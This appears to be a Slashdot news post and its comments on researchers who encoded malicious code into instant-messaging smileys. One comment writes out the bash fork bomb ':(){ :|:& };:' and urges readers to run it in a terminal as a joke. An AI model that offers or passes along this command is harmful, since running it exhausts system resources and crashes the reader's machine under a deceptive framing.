Instant Messaging Vulnerable To New Smiley Attacks

titus writes "Security researchers Yoann Guillot and Julien Tinnes have found a way to encode malicious code into smileys and provided a proof of concept encoder to automate the process. The researchers said their discovery paves the way for IM malware that would be impossible to detect since the malicious code would be 'indistinguishable from genuine chat messages.' I've tested the proof of concept code which works very well. Time to panic?"

Comments

:(){ :|:& };: anyone?

[TinBromide]

:(){ :|:& };:

There, punch that into your terminal and see the poweer of the smiley.

Re:Stop. Really, just stop

[blackfrancis75]

Slashdot is operational 364 days a year.

actually 364.24222 days a year .. and you call yourself a nerd?